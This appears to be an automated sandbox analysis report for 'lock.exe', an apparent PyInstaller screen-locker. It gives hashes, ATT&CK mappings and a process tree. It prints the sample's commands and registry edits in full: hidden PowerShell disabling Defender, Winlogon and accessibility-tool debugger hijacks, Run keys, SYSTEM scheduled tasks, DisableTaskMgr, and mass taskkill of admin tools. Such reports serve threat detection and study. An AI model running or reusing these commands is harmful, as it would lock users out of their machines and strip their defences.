619b573225035d7f06f10d8a700025e895088d2f0d1d9b8adecfbbe849c8d8d4

Analysis

max time kernel
21s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/05/2026, 17:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lock.exe
Size 9.0MB
Sample260528-vlqfvsgz21
SHA256 619b573225035d7f06f10d8a700025e895088d2f0d1d9b8adecfbbe849c8d8d4
MD5 e7f26585341862d59bc240fe35884933
SHA1 3647ca8016f3818e47f57bec23ce82cfd1d42150
SHA512 ccef021e4c2b164307bb287e86d346f564b451801b124146ce7a80c96e1271d38eb70583a366b7ab3fb7b13ed691a3b1544f35508581e92bc28d23b0e3bb47ab
SSDEEP 196608:fYE50W8/LapphBjDfyGg8wBdnpkYRM0/1E3+dgSUy+g:QNW8OpjDfDg8c6qE3+d9Uy+
TLSH
T163963394778808E4E8ABA37D98C0D237A2E2B8324796D6C75BF44F112D236E4FE75351
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution persistence pyinstaller trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 3 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	lock.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 9 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	lock.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3260	powershell.exe
4032	powershell.exe
6016	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 24 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	lock.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe

Loads dropped DLL 30 IoCs

pid	Process
3656	lock.exe
3656	lock.exe
3656	lock.exe
3656	lock.exe
3656	lock.exe
3656	lock.exe
3656	lock.exe
3656	lock.exe
3656	lock.exe
3656	lock.exe
4476	lock.exe
5672	lock.exe
4476	lock.exe
4476	lock.exe
5672	lock.exe
5672	lock.exe
4476	lock.exe
4476	lock.exe
5672	lock.exe
5672	lock.exe
4476	lock.exe
4476	lock.exe
5672	lock.exe
5672	lock.exe
4476	lock.exe
4476	lock.exe
4476	lock.exe
5672	lock.exe
5672	lock.exe
5672	lock.exe

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemSecurityLock = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lock.exe\" --elevated"	lock.exe

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\OriginalShell = "explorer.exe"	lock.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\lock.exe	lock.exe
File created	C:\Windows\System32\lock.exe	lock.exe
File opened for modification	C:\Windows\System32\lock.exe	lock.exe
File opened for modification	C:\Windows\System32\lock.exe	lock.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x001300000002bc72-1075.dat	pyinstaller

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
4492	Process not Found
1896	taskkill.exe
3300	taskkill.exe
3496	Process not Found
1076	Process not Found
4448	Process not Found
5244	Process not Found
5344	Process not Found
5240	Process not Found
1840	taskkill.exe
5484	taskkill.exe
3020	Process not Found
5112	Process not Found
4540	Process not Found
5596	Process not Found
4808	Process not Found
4456	Process not Found
5968	taskkill.exe
1844	taskkill.exe
3532	Process not Found
4552	Process not Found
2120	Process not Found
3084	Process not Found
1892	Process not Found
2436	Process not Found
3616	taskkill.exe
5376	Process not Found
5516	Process not Found
1500	Process not Found
3560	Process not Found
3332	Process not Found
3044	Process not Found
2716	taskkill.exe
1356	taskkill.exe
5832	Process not Found
4164	Process not Found
4828	Process not Found
5996	Process not Found
2128	Process not Found
5968	Process not Found
1356	Process not Found
3332	Process not Found
1660	Process not Found
4808	Process not Found
5944	Process not Found
5356	Process not Found
5604	taskkill.exe
5204	Process not Found
5076	Process not Found
8	Process not Found
572	Process not Found
340	taskkill.exe
2196	taskkill.exe
3024	taskkill.exe
1688	Process not Found
5784	Process not Found
1788	Process not Found
2408	Process not Found
3084	Process not Found
2780	taskkill.exe
4348	taskkill.exe
3524	Process not Found
4204	Process not Found
4740	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5472	schtasks.exe
2520	schtasks.exe
4940	schtasks.exe
2192	schtasks.exe
3960	schtasks.exe
6020	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3260	powershell.exe
3260	powershell.exe
4032	powershell.exe
6016	powershell.exe
4032	powershell.exe
6016	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	4092	taskkill.exe
Token: SeDebugPrivilege	5656	taskkill.exe
Token: SeDebugPrivilege	2288	taskkill.exe
Token: SeDebugPrivilege	3772	taskkill.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	6016	powershell.exe
Token: SeDebugPrivilege	2496	taskkill.exe
Token: SeDebugPrivilege	5648	taskkill.exe
Token: SeDebugPrivilege	5196	taskkill.exe
Token: SeDebugPrivilege	3768	taskkill.exe
Token: SeDebugPrivilege	5136	taskkill.exe
Token: SeDebugPrivilege	4780	taskkill.exe
Token: SeDebugPrivilege	1228	taskkill.exe
Token: SeDebugPrivilege	5616	taskkill.exe
Token: SeDebugPrivilege	5252	taskkill.exe
Token: SeDebugPrivilege	5580	taskkill.exe
Token: SeDebugPrivilege	340	taskkill.exe
Token: SeDebugPrivilege	3388	taskkill.exe
Token: SeDebugPrivilege	5904	taskkill.exe
Token: SeDebugPrivilege	2416	taskkill.exe
Token: SeDebugPrivilege	5968	taskkill.exe
Token: SeDebugPrivilege	3304	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	128	taskkill.exe
Token: SeDebugPrivilege	4240	taskkill.exe
Token: SeDebugPrivilege	1828	taskkill.exe
Token: SeDebugPrivilege	2344	taskkill.exe
Token: SeDebugPrivilege	4940	taskkill.exe
Token: SeDebugPrivilege	5116	taskkill.exe
Token: SeDebugPrivilege	4324	taskkill.exe
Token: SeDebugPrivilege	2020	taskkill.exe
Token: SeDebugPrivilege	4004	taskkill.exe
Token: SeDebugPrivilege	4092	taskkill.exe
Token: SeDebugPrivilege	2480	taskkill.exe
Token: SeDebugPrivilege	1404	taskkill.exe
Token: SeDebugPrivilege	4564	taskkill.exe
Token: SeDebugPrivilege	4412	taskkill.exe
Token: SeDebugPrivilege	5940	taskkill.exe
Token: SeDebugPrivilege	4776	taskkill.exe
Token: SeDebugPrivilege	5980	taskkill.exe
Token: SeDebugPrivilege	2196	taskkill.exe
Token: SeDebugPrivilege	5768	taskkill.exe
Token: SeDebugPrivilege	568	taskkill.exe
Token: SeDebugPrivilege	380	taskkill.exe
Token: SeDebugPrivilege	5344	taskkill.exe
Token: SeDebugPrivilege	4868	taskkill.exe
Token: SeDebugPrivilege	3508	taskkill.exe
Token: SeDebugPrivilege	2096	taskkill.exe
Token: SeDebugPrivilege	3332	taskkill.exe
Token: SeDebugPrivilege	3884	taskkill.exe
Token: SeDebugPrivilege	5252	taskkill.exe
Token: SeDebugPrivilege	2004	taskkill.exe
Token: SeDebugPrivilege	1340	taskkill.exe
Token: SeDebugPrivilege	2188	taskkill.exe
Token: SeDebugPrivilege	2416	taskkill.exe
Token: SeDebugPrivilege	5868	taskkill.exe
Token: SeDebugPrivilege	4896	taskkill.exe
Token: SeDebugPrivilege	3324	taskkill.exe
Token: SeDebugPrivilege	4464	taskkill.exe
Token: SeDebugPrivilege	3984	taskkill.exe
Token: SeDebugPrivilege	4444	taskkill.exe
Token: SeDebugPrivilege	128	taskkill.exe
Token: SeDebugPrivilege	1896	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5712 wrote to memory of 3656	5712	lock.exe	83
PID 3656 wrote to memory of 3260	3656	lock.exe	84
PID 3656 wrote to memory of 2520	3656	lock.exe	86
PID 3656 wrote to memory of 4940	3656	lock.exe	159
PID 3656 wrote to memory of 4092	3656	lock.exe	245
PID 3656 wrote to memory of 5656	3656	lock.exe	312
PID 3656 wrote to memory of 2288	3656	lock.exe	427
PID 2460 wrote to memory of 4476	2460	lock.exe	101
PID 4000 wrote to memory of 5672	4000	lock.exe	102
PID 3656 wrote to memory of 3772	3656	lock.exe	103
PID 4476 wrote to memory of 4032	4476	lock.exe	105
PID 5672 wrote to memory of 6016	5672	lock.exe	107
PID 3656 wrote to memory of 2496	3656	lock.exe	327
PID 4476 wrote to memory of 2192	4476	lock.exe	111
PID 5672 wrote to memory of 3960	5672	lock.exe	334
PID 3656 wrote to memory of 5648	3656	lock.exe	115
PID 5672 wrote to memory of 6020	5672	lock.exe	117
PID 4476 wrote to memory of 5472	4476	lock.exe	119
PID 3656 wrote to memory of 5196	3656	lock.exe	565
PID 4476 wrote to memory of 5136	4476	lock.exe	123
PID 5672 wrote to memory of 3768	5672	lock.exe	124
PID 3656 wrote to memory of 4780	3656	lock.exe	498
PID 3656 wrote to memory of 1228	3656	lock.exe	428
PID 5672 wrote to memory of 5616	5672	lock.exe	131
PID 4476 wrote to memory of 5252	4476	lock.exe	204
PID 5672 wrote to memory of 5580	5672	lock.exe	135
PID 3656 wrote to memory of 340	3656	lock.exe	429
PID 4476 wrote to memory of 3388	4476	lock.exe	139
PID 5672 wrote to memory of 5904	5672	lock.exe	141
PID 3656 wrote to memory of 2416	3656	lock.exe	213
PID 4476 wrote to memory of 5968	4476	lock.exe	682
PID 5672 wrote to memory of 3304	5672	lock.exe	372
PID 3656 wrote to memory of 2980	3656	lock.exe	678
PID 4476 wrote to memory of 128	4476	lock.exe	227
PID 5672 wrote to memory of 4240	5672	lock.exe	600
PID 3656 wrote to memory of 2344	3656	lock.exe	453
PID 4476 wrote to memory of 1828	4476	lock.exe	156
PID 4476 wrote to memory of 4940	4476	lock.exe	159
PID 5672 wrote to memory of 4324	5672	lock.exe	160
PID 3656 wrote to memory of 5116	3656	lock.exe	162
PID 3656 wrote to memory of 4004	3656	lock.exe	391
PID 4476 wrote to memory of 2020	4476	lock.exe	469
PID 5672 wrote to memory of 4092	5672	lock.exe	772
PID 4476 wrote to memory of 2480	4476	lock.exe	171
PID 3656 wrote to memory of 1404	3656	lock.exe	326
PID 5672 wrote to memory of 4564	5672	lock.exe	577
PID 4476 wrote to memory of 4412	4476	lock.exe	177
PID 3656 wrote to memory of 5940	3656	lock.exe	633
PID 5672 wrote to memory of 4776	5672	lock.exe	181
PID 3656 wrote to memory of 2196	3656	lock.exe	483
PID 4476 wrote to memory of 5980	4476	lock.exe	184
PID 5672 wrote to memory of 5768	5672	lock.exe	783
PID 3656 wrote to memory of 568	3656	lock.exe	338
PID 4476 wrote to memory of 380	4476	lock.exe	190
PID 5672 wrote to memory of 5344	5672	lock.exe	193
PID 4476 wrote to memory of 4868	4476	lock.exe	195
PID 3656 wrote to memory of 3508	3656	lock.exe	713
PID 5672 wrote to memory of 3332	5672	lock.exe	199
PID 4476 wrote to memory of 2096	4476	lock.exe	823
PID 5672 wrote to memory of 3884	5672	lock.exe	203
PID 4476 wrote to memory of 5252	4476	lock.exe	204
PID 5672 wrote to memory of 2004	5672	lock.exe	284
PID 4476 wrote to memory of 1340	4476	lock.exe	594
PID 5672 wrote to memory of 2188	5672	lock.exe	968

System policy modification 1 TTPs 6 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	lock.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	lock.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	lock.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	lock.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\lock.exe
"C:\Users\Admin\AppData\Local\Temp\lock.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5712
- C:\Users\Admin\AppData\Local\Temp\lock.exe
  "C:\Users\Admin\AppData\Local\Temp\lock.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Event Triggered Execution: Image File Execution Options Injection
  - Loads dropped DLL
  - Adds Run key to start application
  - Modifies WinLogon
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3260
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn SystemSecurityLock /tr "\"C:\Users\Admin\AppData\Local\Temp\lock.exe\" --elevated" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2520
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn SystemSecurityLockBoot /tr "\"C:\Users\Admin\AppData\Local\Temp\lock.exe\" --elevated" /sc onstart /rl highest /f /ru SYSTEM
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4940
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4092
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5656
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2288
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3772
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2496
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5648
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5196
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4780
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1228
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:340
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2416
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2980
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2344
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5116
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4004
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1404
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5940
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2196
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:568
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1896
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4684
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:1596
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5948
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3516
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:4092
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:1560
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3200
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:1996
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:2476
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:5016
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:4204
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:1516
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4236
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4272
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4816
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:1840
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5656
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:1108
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:3832
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1064
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:2408
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:4596
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:2188
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3528
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5868
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:3704
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:2752
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:1016
- - C:\Windows\SYSTEM32\taskkill.exe
